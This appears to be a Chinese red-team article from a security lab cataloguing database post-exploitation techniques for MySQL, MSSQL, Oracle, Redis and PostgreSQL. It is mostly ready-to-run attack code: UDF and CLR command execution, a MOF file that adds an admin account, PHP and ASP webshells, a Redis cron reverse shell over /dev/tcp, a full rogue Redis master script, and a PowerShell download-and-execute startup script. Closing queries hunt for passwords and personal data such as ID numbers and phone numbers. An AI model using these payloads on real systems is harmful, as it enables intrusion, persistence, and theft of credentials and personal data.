该篇文章总结了在国家级攻防演练中数据库相关利用,旨在帮助红队选手在拿下数据库权限后快速拓展获取服务器权限、WEB应用权限、数据分数,请勿非法利用。
该篇文章并不是将所有的利用方式进行总结,因为有一些利用方式非常鸡肋,条件极其苛刻,文章总结了在实战中利用率较高且性价比较高的利用方式。
建议大家在实战中直接使用工具,当使用工具遇到问题时可通过以下利用步骤进行调试
网上有成熟的数据库利用工具:https://github.com/SafeGroceryStore/MDUT
secure-file-priv 不为NULL
存在\lib\plugin目录
show global variables like '%secure%';
show variables like "%version%";
use mysql;
set @my\_udf\_a=concat('',dll的16进制);
create table my\_udf\_data(data LONGBLOB);
insert into my\_udf\_data values("");update my\_udf\_data set data = @my\_udf\_a;
show variables like '%plugin%';
select data from my\_udf\_data into DUMPFILE 'D:/hack/phpstudy/PHPTutorial/MySQL/lib/plugin/udftest.dll';
create function sys\_eval returns string soname 'udftest.dll';
select sys\_eval('whoami');
secure-file-priv参数为空
mysql服务权限为管理员
pace("\\.rootsubscription")
instance of \*\*EventFilter as $EventFilter{ EventNamespace = "RootCimv2"; Name = "filtP2"; Query = "Select \* From \*\*InstanceModificationEvent "
"Where TargetInstance Isa "Win32\_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};
instance of \_\_FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
select char(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) into dumpfile 'c:/Windows/system32/wbem/mof/nullevt.mof';
secure-file-priv参数为空或者为网站根路径
知道网站的绝对路径
select '<?php @eval($\_POST\[shell\]); ?>' into outfile 'D:/hack/phpstudy/PHPTutorial/WWW/shell.php';
set global general\_log='on';
SET global general\_log\_file='D:/hack/phpstudy/PHPTutorial/WWW/cmd.php';
SELECT '<?php assert($\_POST\["cmd"\]);?>';
set global slow\_query\_log=1;
set global slow\_query\_log\_file='D:/hack/phpstudy/PHPTutorial/WWW/low.php';
select "<?php @eval($\_POST\['cmd'\])?>" or sleep(11);
select is\_srvrolemember('sysadmin');
EXEC sp\_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure 'xp\_cmdshell', 1;RECONFIGURE;
exec master..xp\_cmdshell whoami;
select is\_srvrolemember('sysadmin');
EXEC sp\_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp\_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp\_configure 'show advanced options', 0;
declare @luan int,@exec int,@text int,@str varchar(8000)
exec sp\_oacreate 'wscript.shell',@luan output
exec sp\_oamethod @luan,'exec',@exec output,'C:\\\\Windows\\\\System32\\\\cmd.exe /c whoami'
exec sp\_oamethod @exec, 'StdOut', @text out
exec sp\_oamethod @text, 'readall', @str out
select @str;
declare @luan int,@exec int,@text int,@str varchar(8000)
exec sp\_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output
exec sp\_oamethod @luan,'exec',@exec output,'C:\\\\Windows\\\\System32\\\\cmd.exe /c whoami'
exec sp\_oamethod @exec, 'StdOut', @text out
exec sp\_oamethod @text, 'readall', @str out
select @str;
拥有DBA权限
需要sqlserver代理(sqlagent)开启
exec master.dbo.xp\_servicecontrol 'start','SQLSERVERAGENT';
USE msdb;
EXEC dbo.sp\_add\_job @job\_name = N'testjob'
EXEC sp\_add\_jobstep @job\_name = N'testjob', @step\_name = N'testjob', @subsystem = N'CMDEXEC', @command = N'whoami', @retry\_attempts = 1, @retry\_interval = 5
EXEC dbo.sp\_add\_jobserver @job\_name = N'testjob'
EXEC dbo.sp\_start\_job N'testjob';
exec sp\_configure 'show advanced options','1';reconfigure;exec sp\_configure 'clr enabled','1';reconfigure;exec sp\_configure 'show advanced options','1';
CREATE ASSEMBLY \[MDATKit\]
AUTHORIZATION \[dbo\]
FROM 0x16进制的dll
WITH PERMISSION\_SET = UNSAFE;
\[16进制的dll\](https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/Plugins/Mssql/clr.txt)
CREATE PROCEDURE \[dbo\].\[kitmain\]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME \[MDATKit\].\[StoredProcedures\].\[kitmain\]
exec kitmain 'cmdexec',N'whoami'
拥有DBA权限
知道的网站绝对路径
select is\_srvrolemember('sysadmin');
declare @o int, @f int, @t int, @ret int
exec sp\_oacreate 'scripting.filesystemobject', @o out
exec sp\_oamethod @o, 'createtextfile', @f out, 'C:\\xxxx\\www\\test.asp', 1
exec @ret = sp\_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
拥有DBA权限
知道的网站绝对路径
select is\_srvrolemember('sysadmin');
alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:\\' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'c:\\xxxx\\www\\2.asp'
拥有DBA权限
sqlserver服务权限为system
服务器拥有jet.oledb.4.0驱动
EXEC master.dbo.xp\_regwrite 'HKEY\_LOCAL\_MACHINE','SoftWare\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode','REG\_DWORD',0
Select \* From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\\windows\\system32\\ias\\ias.mdb','select shell("whoami")');
system/system@192.168.117.66:1521/orcl
begin dbms\_java.grant\_permission( 'PUBLIC', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write,execute,delete' );end;
/
create or replace and compile java source named exe\_linux as
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.UnknownHostException;
public class Test
{
public static String list\_cmd(String str){
Runtime runtime=Runtime.getRuntime();
StringBuffer enco = new StringBuffer();
enco.append("GBK");
try{
Process proc =runtime.exec(str);
InputStream inp\_suc=proc.getInputStream();
InputStream inp\_err=proc.getErrorStream();
BufferedReader bfr\_err = new BufferedReader(new InputStreamReader(inp\_err,enco.toString()));
BufferedReader bfr\_suc = new BufferedReader(new InputStreamReader(inp\_suc,enco.toString()));
String strLine;
while( (strLine=(bfr\_suc.readLine())) != null){
System.out.println(strLine);
}
while( (strLine=(bfr\_err.readLine())) != null){
System.out.println(strLine);
}
proc.destroy();
inp\_suc.close();
inp\_err.close();
}catch (Exception e) {
System.out.println("EXECUTE IS ERROR!");
System.out.println(e.getMessage());
}
return "";
}
/\* public static void main(String\[\] args){
list\_cmd(args\[0\]);
}
\*\*/
}
/
create or replace procedure p\_exe\_linux(str varchar2) as language java
name 'Test.list\_cmd(java.lang.String)';
/
SET SERVEROUTPUT ON
exec dbms\_java.set\_output(1111111111111);
EXEC P\_EXE\_LINUX('whoami');
出网
redis服务为root权限
linux
config set dir /var/spool/cron/
config set dbfilename root
set xxx "\\n\\n\\n\* \* \* \* \* bash -i >&/dev/tcp/ip/端口 0>&1\\n\\n\\n"
save
redis服务为root权限
允许密钥登录
linux
config set dir /root/.ssh
config set dbfilename authorized\_keys
set xxssh "\\n\\nssh-rsa xxxxxx\\n\\n"
save
知道网站的绝对路径
拥有网站目录的写权限
config set dir /home/web/wwwroot/
config set dbfilename xxx.php
set xxphp "\\n\\n<?php eval($\_REQUEST\['x'\]); ?>\\n\\n"
save
redis 4.x/5.x
出网
linux
python3 redis-cus-rogue.py 21000 exp.so
redis-cus-rogue.py
#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time
DELIMITER = b"\\r\\n"
class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'\*'):
return data.strip().split(DELIMITER)\[2::2\]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)\[1\]
return data.strip().split()
def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr\[0\].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr\[0\].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr\[0\].startswith(b'PSYNC') or arr\[0\].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' \* 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break
self.finish()
def finish(self):
self.request.close()
class RoguoServer(socketserver.TCPServer):
allow\_reuse\_address = True
def \_\_init\_\_(self, server\_address, payload):
super(RoguoServer, self).\_\_init\_\_(server\_address, RoguoHandler, True)
self.payload = payload
if \_\_name\_\_ == "\_\_main\_\_":
if len(sys.argv)< 2:
print("python \[port\] \[filename\]")
print("python 21000 exp.so")
exit(0)
lport = int(sys.argv\[1\])
expfile = sys.argv\[2\]
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read())
print("rogue server startup %d port"%lport)
server.handle\_request()
print("recevice client request")
#设置redis的备份路径为当前目录
config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
config set dbfilename exp.so
#设置主服务器IP和端口
slaveof 192.168.172.129 21000
#加载恶意模块
module load ./exp.so
#切断主从,关闭复制功能
slaveof no one
#执行系统命令
system.exec 'whoami'
redis 4.x/5.x
出网
linux
redis服务权限为root
python3 redis-cus-rogue.py 21000 shadow
config set dir /etc/
config set dbfilename shadow
slaveof 192.168.172.129 21000
需要启动项目录的写入权限
windwos
服务器需要重启
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename shell.bat
set x "\\r\\n\\r\\npowershell -windowstyle hidden -exec bypass -c \\"IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.2/shell.ps1');xx.ps1\\"\\r\\n\\r\\n"
save
拥有网站路径写入权限
知道网站绝对路径
copy (select '<?php phpinfo();?>') to '/tmp/1.php';
版本9.3-11.2
超级用户或者pg_read_server_files组中的任何用户
DROP TABLE IF EXISTS cmd\_exec;
CREATE TABLE cmd\_exec(cmd\_output text);
COPY cmd\_exec FROM PROGRAM 'whoami';
SELECT \* FROM cmd\_exec;
版本9.3-11.2
超级用户或者pg_read_server_files组中的任何用户
DROP TABLE IF EXISTS cmd\_exec;
CREATE TABLE cmd\_exec(cmd\_output text);
COPY cmd\_exec FROM PROGRAM 'whoami';
SELECT \* FROM cmd\_exec;
通过SQL语句快速查询数据库中WEB应用后台的账号密码,获取WEB应用权限分
show processlist;
select distinct table\_name from information\_schema.columns where table\_schema="xx" and column\_name like "%pass%" or column\_name like "%pwd%"
select \* from car.sys\_user
select DISTINCT client\_net\_address,local\_net\_address from sys.dm\_exec\_connections where Session\_id IN (select session\_id from sys.dm\_exec\_Sessions where host\_name IN (SELECT hostname FROM master.dbo.sysprocesses WHERE DB\_NAME(dbid) = 'xx'));
select \[name\] from \[xx\].\[dbo\].sysobjects where id in(select id from \[xx\].\[dbo\].syscolumns Where name like '%pass%' or name like '%pwd%')
select \* from \[test\].\[dbo\].test1
select username,program,machine,client\_info,sys\_context('userenv','ip\_address') as ipadd from v$session s where username is not null order by username,program,machine;
SELECT \* FROM USER\_TAB\_COLUMNS WHERE column\_name LIKE '%PASS%' OR column\_name LIKE '%PWD%';
SELECT \* FROM 库名.表名;
通过SQL语句快速查询数据库中的大量、重要数据,获取数据分
select table\_name,table\_rows from information\_schema.tables where table\_schema='xx' order by table\_rows desc;
select distinct table\_name from information\_schema.columns where table\_schema="xx" and column\_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|身份证|姓名"
SELECT a.name,b.rows FROM xx..sysobjects a INNER JOIN xx..sysindexes b ON a.id=b.id WHERE b.indid IN(0,1) AND a.Type='u' ORDER BY b.rows DESC
select \[name\] from \[xx\].\[dbo\].sysobjects where id in(select id from \[xx\].\[dbo\].syscolumns Where name like '%name%' or name like '%phone%' or name like '%mobile%' or name like '%certificate%' or name like '%number%' or name like '%email%' or name like '%addr%' or name like '%card%' or name like '%电话%' or name like '%地址%' or name like '%身份证%' or name like '%姓名%')
select t.table\_name,t.num\_rows from user\_tables t ORDER BY NUM\_ROWS DESC;
SELECT * FROM USER_TAB_COLUMNS WHERE regexp_like(column_name,'NAME|PHONE|MOBILE|CERTIFICATE|NUMBER|EMAIL|ADDR|CARD|电话|地址|身份证|姓名')
扫码关注玄甲
玄甲实验室是默安科技旗下的技术研究团队,团队由长期在一线的攻防专家组成。团队主要致力于Web渗透,APT攻防、对抗,红队工程化,从底层原理到一线实战进行技术研究,深入还原攻与防的技术本质。